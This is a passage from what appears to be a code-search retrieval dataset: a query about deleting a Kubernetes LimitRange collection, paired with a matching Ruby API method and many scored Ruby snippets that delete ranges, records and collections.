"text": "def avgRunTimePerTest(user = \"gazebo\")\n headers[\"content-type\"]=\"text/html\";\n total = {}\n count = {}\n avg = 0\n \n # create the list the view will use with a literal array constructor\n @performance_data = []\n \n #Get data from results table\n u = User.find_by_name(user)\n results = u.results.find(:all)\n results.each do |res|\n (real, user, sys) = res.duration.split(\",\");\n (type, val ) = real.split(\":=\")\n if (total.has_key?(res.name))\n total[res.name] += val.to_f\n count[res.name] += 1\n else\n total[res.name] = val.to_f\n count[res.name] = 1\n end\n end\n \n # Push the values into the list\n total.each do |key,value|\n avg = value / count[key]\n # finally, list with testName/val pairs\n @performance_data << [ key, avg.to_i ]\n end\n end",
"title": ""
}
] |
4ed7613d63f841705972b9689e7ac42a | delete collection of LimitRange | [
{
"docid": "e4273c3f9e83cee4d147fa368a614201",
"score": "0.5682244",
"text": "def delete_collection_namespaced_limit_range_with_http_info(namespace, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CoreV1Api.delete_collection_namespaced_limit_range ...\"\n end\n # verify the required parameter 'namespace' is set\n if @api_client.config.client_side_validation && namespace.nil?\n fail ArgumentError, \"Missing the required parameter 'namespace' when calling CoreV1Api.delete_collection_namespaced_limit_range\"\n end\n # resource path\n local_var_path = \"/api/v1/namespaces/{namespace}/limitranges\".sub('{' + 'namespace' + '}', namespace.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'includeUninitialized'] = opts[:'include_uninitialized'] if !opts[:'include_uninitialized'].nil?\n query_params[:'pretty'] = opts[:'pretty'] if !opts[:'pretty'].nil?\n query_params[:'continue'] = opts[:'continue'] if !opts[:'continue'].nil?\n query_params[:'fieldSelector'] = opts[:'field_selector'] if !opts[:'field_selector'].nil?\n query_params[:'labelSelector'] = opts[:'label_selector'] if !opts[:'label_selector'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'resourceVersion'] = opts[:'resource_version'] if !opts[:'resource_version'].nil?\n query_params[:'timeoutSeconds'] = opts[:'timeout_seconds'] if !opts[:'timeout_seconds'].nil?\n query_params[:'watch'] = opts[:'watch'] if !opts[:'watch'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BearerToken']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'V1Status')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CoreV1Api#delete_collection_namespaced_limit_range\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] | [
{
"docid": "9d540c850f82f6c88061b5ee1a9e3259",
"score": "0.6984351",
"text": "def remove(range); end",
"title": ""
},
{
"docid": "9d540c850f82f6c88061b5ee1a9e3259",
"score": "0.6984351",
"text": "def remove(range); end",
"title": ""
},
{
"docid": "10149fcd067541d4b83cf838efd828ad",
"score": "0.6615669",
"text": "def remove!(range)\n @range -= range\n end",
"title": ""
},
{
"docid": "9f264b4cec17a68ef2e4560c34e45e08",
"score": "0.6602924",
"text": "def delete_range(range)\n @context.operations << Operation.new(\n :type => Operation::DOCUMENT_DELETE, \n :blip_id => @id, \n :wavelet_id => @wavelet_id, \n :wave_id => @wave_id,\n :index => range.first, \n :property => range\n )\n @content = @content[0..range.first-1] + @content[range.last+1..@content.length-1]\n end",
"title": ""
},
{
"docid": "4ceddf6a26cce75745cc531c7376fff6",
"score": "0.65307206",
"text": "def delete_all\n ids = []\n\n if range?\n ranges = []\n # Dynamo::Client.query(source.table_name, range_query).collect do |hash|\n # ids << hash[source.hash_key.to_sym]\n # ranges << hash[source.range_key.to_sym]\n #end\n\n source.destroy(source.table_name, ids,{:range_key => ranges})\n else\n Dynamo::Client.scan(source.table_name, query, scan_opts).collect do |hash|\n ids << hash[source.hash_key.to_sym]\n end\n\n source.destroy(source.table_name, ids)\n end\n end",
"title": ""
},
{
"docid": "2c06b717be6c964687375461dd32022a",
"score": "0.6522124",
"text": "def delete!(p_r)\n self.substract!(PositionRange::List.new([p_r]))\n end",
"title": ""
},
{
"docid": "89742b8474b33eb59a5a5041153377c0",
"score": "0.650824",
"text": "def delete(p_r)\n self.substract(PositionRange::List.new([p_r]))\n end",
"title": ""
},
{
"docid": "45f49f6c1bc1316f627054da49b573d8",
"score": "0.649618",
"text": "def delete\n buffer.undo_record do |record|\n ranges = []\n each_range { |range| ranges.push(*range) }\n record.delete(*ranges)\n end\n\n finish\n end",
"title": ""
},
{
"docid": "7f4d34009c919080745843c7dbe6bc95",
"score": "0.6424373",
"text": "def delete_annotation_in_range(range, name)\n #TODO\n raise \"This hasn't been implemented yet\"\n end",
"title": ""
},
{
"docid": "c837e5f4a5502105a2e565dcb0c98b32",
"score": "0.6376806",
"text": "def delete_max\n end",
"title": ""
},
{
"docid": "61a50d0e6df630ee710ab763ee8c3042",
"score": "0.6367616",
"text": "def delete_appointments_in_my_range\n self.conflicts.each { |o| o.delete } \n end",
"title": ""
},
{
"docid": "8626976a61dccadffcdbefda3cfabf73",
"score": "0.63145465",
"text": "def delete_min\n end",
"title": ""
},
{
"docid": "8626976a61dccadffcdbefda3cfabf73",
"score": "0.63145465",
"text": "def delete_min\n end",
"title": ""
},
{
"docid": "59c9948ee1954477f117dac535a20a93",
"score": "0.630765",
"text": "def clear\n @range_map.clear\n @min = nil\n @max = nil\n\n self\n end",
"title": ""
},
{
"docid": "8c1bbdd7f26a7f13a1c3f82c87c762cf",
"score": "0.6292634",
"text": "def delete_annotation_in_range(range, name)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "0dd809d69ed24c2144afd278c9d4003e",
"score": "0.62915206",
"text": "def destroy_all\n ids = []\n \n if key_present?\n ranges = []\n Dynamoid.adapter.query(source.table_name, range_query).collect do |hash|\n ids << hash[source.hash_key.to_sym]\n ranges << hash[source.range_key.to_sym]\n end\n \n Dynamoid.adapter.delete(source.table_name, ids,{:range_key => ranges})\n else\n Dynamoid.adapter.scan(source.table_name, query, scan_opts).collect do |hash|\n ids << hash[source.hash_key.to_sym]\n end\n \n Dynamoid.adapter.delete(source.table_name, ids)\n end \n end",
"title": ""
},
{
"docid": "8ba40dc7f0726b5473d8b85e19242315",
"score": "0.6212124",
"text": "def destroy_all\n ids = []\n \n if range?\n ranges = []\n # Dynamo::Client.query(source.table_name, range_query).collect do |hash|\n # ids << hash[source.hash_key.to_sym]\n # ranges << hash[source.range_key.to_sym]\n #end\n \n source.destroy(source.table_name, ids,{:range_key => ranges})\n else\n Dynamo::Client.scan(source.table_name, query, scan_opts).collect do |hash| \n ids << hash[source.hash_key.to_sym]\n end\n \n source.destroy(source.table_name, ids)\n end \n end",
"title": ""
},
{
"docid": "2790c6b7f9b2bdf3723f115c78e2b61e",
"score": "0.6202746",
"text": "def delete_rate_limited_keys(scope)\n return 0 unless rate_limited_keys(scope).any?\n delete_tracking_keys(scope, rate_limited_keys(scope))\n redis.zremrangebyscore(rate_limited_list(scope), '-inf', '+inf').tap do |_count|\n redis.del rate_limited_list(scope)\n end\n end",
"title": ""
},
{
"docid": "95c1e07e9a5b530e8f05398e56f8da71",
"score": "0.61638194",
"text": "def delete_range(range)\n raise ArgumentError.new(\"Requires a Range, not a #{range.class.name}\") unless range.kind_of? Range\n \n add_operation(:type => Operation::DOCUMENT_DELETE, :index => range.min, :property => range)\n\n @content[range] = ''\n # TODO: Shift and/or delete annotations.\n udpate_title_if_needed\n ''\n end",
"title": ""
},
{
"docid": "9d0ad1a3f6740a5dee1237dcd9d76f5d",
"score": "0.615406",
"text": "def delete_all\n ids = []\n ranges = []\n\n if @key_fields_detector.key_present?\n Dynamoid.adapter.query(source.table_name, range_query).flat_map{ |i| i }.collect do |hash|\n ids << hash[source.hash_key.to_sym]\n ranges << hash[source.range_key.to_sym] if source.range_key\n end\n else\n Dynamoid.adapter.scan(source.table_name, scan_query, scan_opts).flat_map{ |i| i }.collect do |hash|\n ids << hash[source.hash_key.to_sym]\n ranges << hash[source.range_key.to_sym] if source.range_key\n end\n end\n\n Dynamoid.adapter.delete(source.table_name, ids, range_key: ranges.presence)\n end",
"title": ""
},
{
"docid": "9c78805e4d1ae7375a9110b63045312a",
"score": "0.6125396",
"text": "def limit_events_to(limit)\n Event.order(\"id desc\").offset(limit).each do |event|\n event.delete\n end\n end",
"title": ""
},
{
"docid": "8b1860e75b4761f4de53412cfe0be2c3",
"score": "0.61179036",
"text": "def prepare_wipe_range\n end",
"title": ""
},
{
"docid": "f31f2a97281492dcc62c76866b4cb86e",
"score": "0.6071926",
"text": "def delete_subrange(subrange)\n result = []\n\n min_in_range = cover?(subrange.min)\n max_in_range = cover?(subrange.max)\n if min_in_range && max_in_range\n # -20 20\n # -2..2\n result << (self.begin..(subrange.begin - 1))\n result << ((subrange.end + 1)..self.end)\n elsif !(min_in_range && max_in_range)\n # -20 20\n # 30 ... 40\n result << self\n result << subrange\n elsif min_in_range\n # -20 20\n # -2 .. 30\n\n result << (min .. (subrange.min - 1))\n elsif max_in_range\n # -10 20\n # -20 .. 10\n result << ((subrange.min + 1) .. self.max)\n end\n\n result2 = result.filter {_1.begin < _1.end}\n # puts \"#{result} became #{result2} for cutting #{subrange} from #{self}\" if result != result2\n # puts \"real result is #{result}\"\n result2\n end",
"title": ""
},
{
"docid": "c462fbd34011b1f6ddb78850755d0771",
"score": "0.6069816",
"text": "def delete(collection)\n records = records_for(collection.model)\n records_to_delete = collection.query.filter_records(records.dup)\n records.replace(records - records_to_delete)\n records_to_delete\n end",
"title": ""
},
{
"docid": "b6a127190ec6d6ee522aaf46a2dd8ee0",
"score": "0.6060143",
"text": "def remove_range(request)\n begin\n data, _status_code, _headers = remove_range_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = remove_range_with_http_info(request)\n else\n raise\n end\n end\n data\n end",
"title": ""
},
{
"docid": "9541b8aa93705416059433d9dcecd326",
"score": "0.6012527",
"text": "def unlimit!\n @_limit = nil\n self\n end",
"title": ""
},
{
"docid": "1258c8fefd8bb43ebec9446f110b7b01",
"score": "0.59484315",
"text": "def remove_ip_range(from, to)\n @assets = assets.reject { |asset| asset == IPRange.new(from, to) }\n end",
"title": ""
},
{
"docid": "271d467c7505b7feded7f3be514952ef",
"score": "0.5923794",
"text": "def only!(range)\n rows_to_exclude = rows.map do |row|\n range.include?(row.row_num) ? nil : row.row_num\n end\n delete_rows!(rows_to_exclude.compact)\n end",
"title": ""
},
{
"docid": "ff6726d4ff59153140a2efab245c5cef",
"score": "0.59014857",
"text": "def remove_dead()\n limit = (0.1*@collection.count).to_i\n return if limit <= 15\n @collection.find({:count => { \"$lte\" => 0.25 }}, {:limit => limit, :sort =>[:last_access,Mongo::ASCENDING]}).each do |doc|\n puts \"Forgetting about #{doc['path']}\"\n @collection.remove({:_id => doc['_id']})\n end\nend",
"title": ""
},
{
"docid": "5f6124f947d6470d10456cd3cbfeaa9d",
"score": "0.58793855",
"text": "def zremrangebyscore(key, min, max)\n send_command([:zremrangebyscore, key, min, max])\n end",
"title": ""
},
{
"docid": "e2e46b9767464240154cf4b1f1ac6060",
"score": "0.583252",
"text": "def remove_rows_in_range!(from, to)\n validated_from, validated_to = validate_from_to_positions!(from, to)\n response = true\n\n rows_to_destroy = all_rows_from_start_to_stop(validated_from, validated_to)\n rows_to_destroy.each do |row|\n next if row.destroyed?\n row.skip_destroy_validation_for_remove_rows_in_range = true\n row.destroy\n end\n\n response = false unless rows_to_destroy.all?(&:destroyed?)\n\n response\n end",
"title": ""
},
{
"docid": "7c618ed8d403aa781cc500d2757f1224",
"score": "0.58278185",
"text": "def remove_type_via_resource(klass)\n min = klass.where(resource_id: id).minimum(:id)\n return if min.nil?\n max = klass.where(resource_id: id).maximum(:id)\n index = min\n batch_size = 10_000\n loop do\n klass.connection.execute(\"DELETE FROM `#{klass.table_name}` WHERE id >= #{index} AND \"\\\n \"id < #{index + batch_size} AND resource_id = #{id}\")\n index += batch_size\n break if index > max\n end\n end",
"title": ""
},
{
"docid": "7c618ed8d403aa781cc500d2757f1224",
"score": "0.58278185",
"text": "def remove_type_via_resource(klass)\n min = klass.where(resource_id: id).minimum(:id)\n return if min.nil?\n max = klass.where(resource_id: id).maximum(:id)\n index = min\n batch_size = 10_000\n loop do\n klass.connection.execute(\"DELETE FROM `#{klass.table_name}` WHERE id >= #{index} AND \"\\\n \"id < #{index + batch_size} AND resource_id = #{id}\")\n index += batch_size\n break if index > max\n end\n end",
"title": ""
},
{
"docid": "2189329800c40a5dbd43ba490cb99515",
"score": "0.5826107",
"text": "def delete_collection_namespaced_limit_range(namespace, opts = {})\n data, _status_code, _headers = delete_collection_namespaced_limit_range_with_http_info(namespace, opts)\n return data\n end",
"title": ""
},
{
"docid": "1a76b8f9f594a9529ebe5dcfcc58b4d0",
"score": "0.582051",
"text": "def cleanup_with_limit(files, limit, &block)\n return unless files.size > limit\n\n to_remove = files[0..(files.size - limit - 1)]\n # TODO: validate here\n to_remove.each(&block)\n end",
"title": ""
},
{
"docid": "1a76b8f9f594a9529ebe5dcfcc58b4d0",
"score": "0.582051",
"text": "def cleanup_with_limit(files, limit, &block)\n return unless files.size > limit\n\n to_remove = files[0..(files.size - limit - 1)]\n # TODO: validate here\n to_remove.each(&block)\n end",
"title": ""
},
{
"docid": "3773abea32a0030f5373f4cdff31e574",
"score": "0.58039224",
"text": "def remrangebyrank(min, max)\n redis.zremrangebyrank(key, min, max)\n end",
"title": ""
},
{
"docid": "843b4c8e42049355aafc5b159db23851",
"score": "0.5781208",
"text": "def up\n each_batch_range('incident_management_issuable_escalation_statuses', of: BATCH_SIZE) do |min, max|\n execute <<~SQL\n DELETE FROM incident_management_issuable_escalation_statuses\n WHERE id BETWEEN #{min} AND #{max}\n SQL\n end\n end",
"title": ""
},
{
"docid": "173ff44d63d6d869b1a70458fb35a39c",
"score": "0.57691306",
"text": "def delete_all\n _late_connect?\n ean = { \"#H\" => table_hash_key }\n ean[\"#R\"] = table_range_key if table_range_key\n options = {\n consistent_read: true,\n projection_expression: \"#H\" + (table_range_key ? \", #R\" : \"\"),\n expression_attribute_names: ean\n }\n in_batches :scan, options do |attrs|\n if table_range_key\n delete attrs[table_hash_key.to_s], attrs[table_range_key.to_s]\n else\n delete attrs[table_hash_key.to_s]\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "f671d73c2bcb106154b96ad584795982",
"score": "0.574952",
"text": "def delete(table, ids, options = {})\n range_key = options[:range_key] #array of range keys that matches the ids passed in\n if ids.respond_to?(:each)\n if range_key.respond_to?(:each)\n #turn ids into array of arrays each element being hash_key, range_key\n ids = ids.each_with_index.map{|id,i| [id,range_key[i]]}\n else\n ids = range_key ? [[ids, range_key]] : ids\n end\n \n if Dynamoid::Config.partitioning?\n batch_delete_item(table, table => id_with_partitions(ids))\n else\n batch_delete_item(table, table => ids)\n end\n else\n if Dynamoid::Config.partitioning?\n ids = range_key ? [[ids, range_key]] : ids\n batch_delete_item(table, table => id_with_partitions(ids))\n else\n delete_item(table, table, ids, options)\n end\n end\n end",
"title": ""
},
{
"docid": "87ecfeb736a73efe40c510dfe86094fd",
"score": "0.57355815",
"text": "def list_remove(index_or_range)\n if not list?\n raise SlawTypeNoMethodError, \"list_remove can only be called on a list slaw\"\n end\n if index_or_range.respond_to?(:integer?) and index_or_range.integer?\n index_or_range = index_or_range..index_or_range\n end\n if !index_or_range.is_a?(Range)\n raise ArgumentError, \"argument must be an integer or a range\"\n end\n b = index_or_range.begin\n e = index_or_range.end\n if not index_or_range.exclude_end?\n # now e is always excluded\n e = e + 1\n end\n Slaw.recombobulate_lists([self, 0...b],\n [self, e...self.count])\n end",
"title": ""
},
{
"docid": "2c9dca613834a9fc1ae6a87850211397",
"score": "0.5720767",
"text": "def destroy\n usage_limit.destroy\n\n respond_with(usage_limit)\n end",
"title": ""
},
{
"docid": "d1ca4ebf17a47a61c49b1e7387a5c51b",
"score": "0.57145274",
"text": "def delete(collection)\n return 0 unless collection.query.valid?\n adapter.delete(collection)\n end",
"title": ""
},
{
"docid": "a65b6529238ad186842e05ce1c1496b0",
"score": "0.5708147",
"text": "def remrange(from, to)\n result = redis.zremrangebyrank(namespace, from, to)\n result\n end",
"title": ""
},
{
"docid": "61b3a126f398c89e94484c80b0d69ff2",
"score": "0.56956184",
"text": "def clear_blob_pages(container, blob, start_range, end_range, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f1ecc4f0544059ed911aff228d1674dd",
"score": "0.56948483",
"text": "def delete(batch_size: 100)\n scope.find_in_batches(batch_size: batch_size) do |group|\n client.bulk(body: group.map { |record| {delete: {_index: index, _type: type, _id: record.id}} })\n end\n end",
"title": ""
},
{
"docid": "f347164d49c43131142820e399f5d958",
"score": "0.5693881",
"text": "def destroy\n @model_range = ModelRange.find(params[:id])\n @model_range.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_model_ranges_path) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c15c8d33445b8853a033a9fa7fb57379",
"score": "0.5678663",
"text": "def remove_named_range(range)\n @named_ranges.delete(range)\n end",
"title": ""
},
{
"docid": "25dfb2bcd81d6aa82023b954d0022d87",
"score": "0.5676014",
"text": "def delete_without_range_locks(commit_entries)\n ids = commit_entries.pluck(:id)\n ids.in_groups_of(1000, false) do |batch|\n CommitEntry.delete(batch)\n end\n\n return ids.length\n end",
"title": ""
},
{
"docid": "0ade3bf251d197f42455b355acf873be",
"score": "0.56726855",
"text": "def limit_range!(param)\n offset = param.min\n size = param.max.to_i - param.min.to_i\n @_limit = Babik::QuerySet::Limit.new(size, offset)\n self\n end",
"title": ""
},
{
"docid": "7c04e995a03e40e1bf0c93b5d456bf26",
"score": "0.5665133",
"text": "def delete_entries(entries)\n collection.remove(:_id => {'$in' => entries.map(&:id)})\n end",
"title": ""
},
{
"docid": "5d8247556f0ca2eadc98479d4186f5b4",
"score": "0.56331426",
"text": "def filter_hits(hits,end_pos)\n hits.reverse_each do |hit|\n if (hit.q_end < (end_pos-40)) && ((hit.q_end-hit.q_beg+1)<(@params.get_ab_adapter(hit.subject_id).length*0.80).to_i)\n hits.delete(hit)\n # puts \"DELETE #{hit.inspect}\"\n # else\n # puts \"ACCEPTED #{hit.inspect}, >= #{(@params.get_ab_adapter(hit.subject_id).length*0.2).to_i}\"\n end\n end\n \n end",
"title": ""
},
{
"docid": "c8a6af1d560b5b95af474243b905667f",
"score": "0.56186926",
"text": "def clear\n redis { |conn| conn.zremrangebyrank(key, 0, count) }\n end",
"title": ""
},
{
"docid": "6a5cc44f0f2bf0aa6dd0ca0c022225b9",
"score": "0.561558",
"text": "def delete(conditions)\n with_restriction(conditions) { |restriction| restriction.delete }\n end",
"title": ""
},
{
"docid": "54a78bd2b86d0da44fbf8580773cfb30",
"score": "0.5613407",
"text": "def zremrangebyscore(key, min, max); end",
"title": ""
},
{
"docid": "54a78bd2b86d0da44fbf8580773cfb30",
"score": "0.5613407",
"text": "def zremrangebyscore(key, min, max); end",
"title": ""
},
{
"docid": "e0f183519f37af4fdb7db04f6eb98e8e",
"score": "0.5612609",
"text": "def remove_date_range(value)\n @children['date-range'][:value].delete(value)\n end",
"title": ""
},
{
"docid": "11d91bc2ba13a8b0854eeb7336d49bab",
"score": "0.56118727",
"text": "def delete\n deleted = count\n removed = map do |doc|\n prepare_remove(doc)\n doc.as_document\n end\n unless removed.empty?\n collection.find(selector).update(\n positionally(selector, \"$pullAll\" => { path => removed })\n )\n end\n deleted\n end",
"title": ""
},
{
"docid": "89eeeb37e031bdf67ecf1011d6a9cf07",
"score": "0.5610261",
"text": "def batch_delete_item(options)\n return nil if options.all?{|k, v| v.empty?}\n options.each do |t, ids|\n Array(ids).in_groups_of(25, false) do |group|\n batch = AWS::DynamoDB::BatchWrite.new(:config => @@connection.config)\n batch.delete(t,group)\n batch.process! \n end\n end\n nil\n end",
"title": ""
},
{
"docid": "d13545e988eb194c944e978ae0e0d8da",
"score": "0.5593536",
"text": "def destroy\n @element_range = ElementRange.find(params[:id])\n @element_range.destroy\n\n respond_to do |format|\n format.html { redirect_to element_ranges_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5e48e070fdcb55d47e98ddce580f9bbe",
"score": "0.55896676",
"text": "def reset\n limits.each(&:reset)\n nil\n end",
"title": ""
},
{
"docid": "c82fab031a442471e3ec007b925019b4",
"score": "0.55683905",
"text": "def delete_all\n # call delete method\n (1..size).each do |index|\n self.delete(index)\n end\n end",
"title": ""
},
{
"docid": "451d4bcb814712bdc3643053cbb5e33d",
"score": "0.5562735",
"text": "def destroy_over_limit_pins\n over_count = member.pins.size - Settings.save_pin_limit\n member.pins.past(over_count).destroy_all if over_count > 0\n end",
"title": ""
},
{
"docid": "1ef1d38236ffd8728bd2b80a57fe4b2a",
"score": "0.55616224",
"text": "def zremrangebylex(key, min, max)\n\t\t\t\t\tcall(\"ZREMRANGEBYLEX\", key, min, max)\n\t\t\t\tend",
"title": ""
},
{
"docid": "5c59aaf051b741cd2526a8113cb92a28",
"score": "0.5557338",
"text": "def zremrangebyscore(key, range_start, range_end)\n $alfred.with { |conn| conn.zremrangebyscore(key, range_start, range_end) }\n end",
"title": ""
},
{
"docid": "1530fde8ba42508b739e45b552134285",
"score": "0.55358714",
"text": "def prune\n @set.clear\n end",
"title": ""
},
{
"docid": "3f1ce073cdaa354888e697e98fce11f7",
"score": "0.553486",
"text": "def destroy\n @iprange.destroy\n respond_to do |format|\n format.html { redirect_to ip_ranges_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9b91a3a08560742cf33a7f0fa41e76a8",
"score": "0.55326486",
"text": "def delete_all(conditions = nil)\n raise ActiveRecordError.new(\"delete_all doesn't support limit scope\") if self.limit_value\n\n IdentityMap.repository[symbolized_base_class] = {} if IdentityMap.enabled?\n if conditions\n where(conditions).delete_all\n else\n statement = arel.compile_delete\n affected = @klass.connection.delete(statement, 'SQL', bind_values)\n\n reset\n affected\n end\n end",
"title": ""
},
{
"docid": "72783483a0e663ec76ab5435c5de615a",
"score": "0.5532601",
"text": "def delete_all_authorized_ip_ranges(protocol = IP_protocol_type::All)\n\n ip_arr = call_thrift{authorized_IP_get_range_list(protocol)}\n\n if ip_arr\n (ip_arr.size / 2).times{|i|\n st_idx = i*2\n en_idx = st_idx + 1\n call_thrift{authorized_IP_delete_range(ip_arr[st_idx], ip_arr[en_idx])}\n }\n end\n\n end",
"title": ""
},
{
"docid": "130332d34e397bab432dae72fa67c407",
"score": "0.5531987",
"text": "def remove_preceding(node_or_range, size); end",
"title": ""
},
{
"docid": "678a3582968a2e3ad6f835527f3b9945",
"score": "0.55310476",
"text": "def remrangebyscore(min, max)\n redis.zremrangebyscore(key, min, max)\n end",
"title": ""
},
{
"docid": "f9ced7a12169295e96aa023bcfd07ff7",
"score": "0.55299485",
"text": "def clean_time_ranges\n time_ranges.update_all(:patient_id => nil, :taken => false)\n end",
"title": ""
},
{
"docid": "469386d9adad2da444cf7e98a157d6f8",
"score": "0.5518641",
"text": "def delete(collection)\n collection.each do |record|\n @redis.del(\"#{collection.query.model.storage_name}:#{record[redis_key_for(collection.query.model)]}\")\n @redis.srem(key_set_for(collection.query.model), record[redis_key_for(collection.query.model)])\n record.model.properties.select {|p| p.index}.each do |p|\n @redis.srem(\"#{collection.query.model.storage_name}:#{p.name}:#{encode(record[p.name])}\", record[redis_key_for(collection.query.model)])\n end\n end\n end",
"title": ""
},
{
"docid": "2879563f6c9cc61812ba3ecabcd69eb7",
"score": "0.55106395",
"text": "def remove_members_in_score_range_in(leaderboard_name, min_score, max_score)\n @redis_connection.multi do |transaction|\n transaction.zremrangebyscore(leaderboard_name, min_score, max_score)\n transaction.zremrangebyscore(ties_leaderboard_key(leaderboard_name), min_score, max_score)\n end\n end",
"title": ""
},
{
"docid": "ac512fa8601535c0ee9d50a0922f464a",
"score": "0.54999465",
"text": "def delete(collection)\n collection.query.filter_records(records_for(collection.query)).each do |record|\n collection.query.model.properties.each do |p|\n @redis.delete(\"#{collection.query.model.to_s.downcase}:#{record[redis_key_for(collection.query.model)]}:#{p.name}\")\n end\n @redis.set_delete(\"#{collection.query.model.to_s.downcase}:#{redis_key_for(collection.query.model)}:all\", record[redis_key_for(collection.query.model)])\n end\n end",
"title": ""
},
{
"docid": "70b494107519a208f82948ac5bdac5a5",
"score": "0.5495947",
"text": "def delete_item(klass, id, range=nil)\n params = {\n 'TableName' => klass.table_name,\n 'Key' => {\n 'HashKeyElement' => {'S' => id}\n }\n }\n if range\n params['Key']['RangeKeyElement'] = {klass.range_options[:type] => range.to_s}\n end\n api_request('DeleteItem', {params: params, klass: klass})\n end",
"title": ""
},
{
"docid": "bc927bb8faf2264fb381c83db1fbcd4d",
"score": "0.5495744",
"text": "def destroy\n @compare_range.destroy\n flash[:success] = 'Record destroyed.'\n redirect_to compare_ranges_url\n end",
"title": ""
},
{
"docid": "0cb07b00c2d90f4b7aa7d97de923991f",
"score": "0.5488131",
"text": "def text_mixer_range_delete(parameters)\n=begin\n @new_text_area = {}\n @text_area_index = 0\n @text_area.each do |ta|\n unless (@line_start..@line_end).cover?(ta[0])\n p \"ta[0] #{ta[0]}\"\n @new_text_area.store(@text_area_index += 1, ta[1]) \n end\n end\n @new_text_area.each { |ta| p ta } \n=end\n @new_text_area.store(0, [\"text\", \"Delete ranges not yet implemented\"]) \n return @new_text_area\n end",
"title": ""
},
{
"docid": "a95736db3ca82f8158203c078e8da603",
"score": "0.54868746",
"text": "def delete_at n\n self.slice! n\n end",
"title": ""
},
{
"docid": "b97123c2638695af0fc72237eecfdd9f",
"score": "0.548266",
"text": "def clear_collection\n return @coll.delete_many({})\n end",
"title": ""
},
{
"docid": "f9925f865173688b9a56753d07c8f570",
"score": "0.5479252",
"text": "def clear\n remrange(0, -1)\n end",
"title": ""
},
{
"docid": "20365b6f48cead6c56e2bf5719f8b569",
"score": "0.54766756",
"text": "def remove_members_in_score_range_in(leaderboard_name, min_score, max_score)\n @redis_connection.zremrangebyscore(leaderboard_name, min_score, max_score)\n end",
"title": ""
},
{
"docid": "b69b279ae2d766b9bd701d90aa68d772",
"score": "0.54747725",
"text": "def all_rows_from_start_to_stop(start, stop)\n self.rows.with_deleted[start - 1, stop - start + 1]\n end",
"title": ""
},
{
"docid": "bbd3070fbc7a2cb47368f3f4fb61fd24",
"score": "0.547291",
"text": "def remove(slice)\n collection.remove('_id' => slice.id)\n end",
"title": ""
},
{
"docid": "885d1f891b6b2707f208b8a289c6cb90",
"score": "0.54705185",
"text": "def range_limit; end",
"title": ""
},
{
"docid": "d468aa3e1d14a0466a8d8bd581508514",
"score": "0.5465962",
"text": "def delete\n chunks.collect { |chunk| chunk.delete(id, @list) }\n end",
"title": ""
},
{
"docid": "2803872d332f5061d66725f31e0c0eaa",
"score": "0.54618496",
"text": "def delete_range(index, del_length)\n # optimize for fast removal..\n reg_start = index + del_length\n reg_length = @total - reg_start\n\n if reg_start <= @total\n # If we're removing from the front, also reset @start to better\n # use the Tuple\n if index == 0\n # Use a shift start optimization if we're only removing one\n # element and the shift started isn't already huge.\n if del_length == 1\n @start += 1\n else\n @tuple.copy_from @tuple, reg_start + @start, reg_length, 0\n @start = 0\n end\n else\n @tuple.copy_from @tuple, reg_start + @start, reg_length,\n @start + index\n end\n\n # TODO we leave the old references in the Tuple, we should\n # probably clear them out though.\n @total -= del_length\n end\n end",
"title": ""
},
{
"docid": "9b5a7327a98b5d8d2afc46ccbfb9751e",
"score": "0.54607064",
"text": "def delete_all; end",
"title": ""
},
{
"docid": "9b5a7327a98b5d8d2afc46ccbfb9751e",
"score": "0.54607064",
"text": "def delete_all; end",
"title": ""
},
{
"docid": "9b5a7327a98b5d8d2afc46ccbfb9751e",
"score": "0.54607064",
"text": "def delete_all; end",
"title": ""
},
{
"docid": "4b3c1214d191f5755f8a9354bc78d4af",
"score": "0.54552037",
"text": "def clear\n @selection = {}\n @from = 0\n @to = 100_000\n self\n end",
"title": ""
},
{
"docid": "b9e6d572a1730f3aa1a6cda6086c7a2a",
"score": "0.5455196",
"text": "def remove_leading(node_or_range, size); end",
"title": ""
},
{
"docid": "c6fe91e167ed6795db25f6760c7e2bea",
"score": "0.5453925",
"text": "def delete_unmarked_records!(records_within_import_scope)\n log(\"delete_unmarked_records\")\n log(\" records_within_import_scope.size: #{records_within_import_scope.size} in Insights\")\n log(\" @marked_ids.size = #{@marked_ids.size} from this import\")\n\n unmarked_ids = records_within_import_scope.pluck(:id) - @marked_ids\n log(\" unmarked_ids: #{unmarked_ids.inspect}\") if unmarked_ids.size < 10\n\n records_to_destroy = records_within_import_scope.where(id: unmarked_ids)\n log(\" records_to_destroy.size: #{records_to_destroy.size} within scope\")\n\n # This is slow, but intentionally runs validations, hooks, etc. on each record\n # individually to be conservative.\n records_to_destroy.each_with_index do |record, index|\n record.destroy!\n log(\" destroyed #{index} rows.\") if index > 0 && index % 100 == 0\n end\n\n @destroyed_records_count = records_to_destroy.size\n end",
"title": ""
},
{
"docid": "4f8e738aa8c36d9601803a8587229da3",
"score": "0.5453594",
"text": "def delete_values!(start, stop)\n params = { from: start, end: stop }\n\n @client.delete(\"#{path}/values\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "5a512ffc183b7756fce91b036aa67fba",
